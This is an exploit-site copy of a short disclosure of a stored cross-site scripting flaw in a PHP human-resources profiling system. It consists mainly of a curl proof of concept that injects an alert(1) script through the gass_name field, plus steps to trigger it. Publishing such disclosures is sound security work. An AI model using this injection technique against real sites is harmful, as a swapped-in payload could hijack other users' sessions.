Looking for a fix? Check your Codebase security with multiple scanners from

Edit Report

Our sensors found this exploit at:

Below is a copy:

Profiling System For Human Resource Management 1.0 Cross Site Scripting
# Exploit Title: Profiling System For Human Resource Management | Stored XSS
# Exploit Author: Richard Jones
# Date: 2021-03
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34


1: curl http://localhost/ProfilingSystem/edit_gass_rank_query.php --data "gass_id=1" --data "gass_name=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&update="
2. login and go to http://localhost/ProfilingSystem/gass_rank_table.php the payload will trigger. 

Copyright ©2021 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.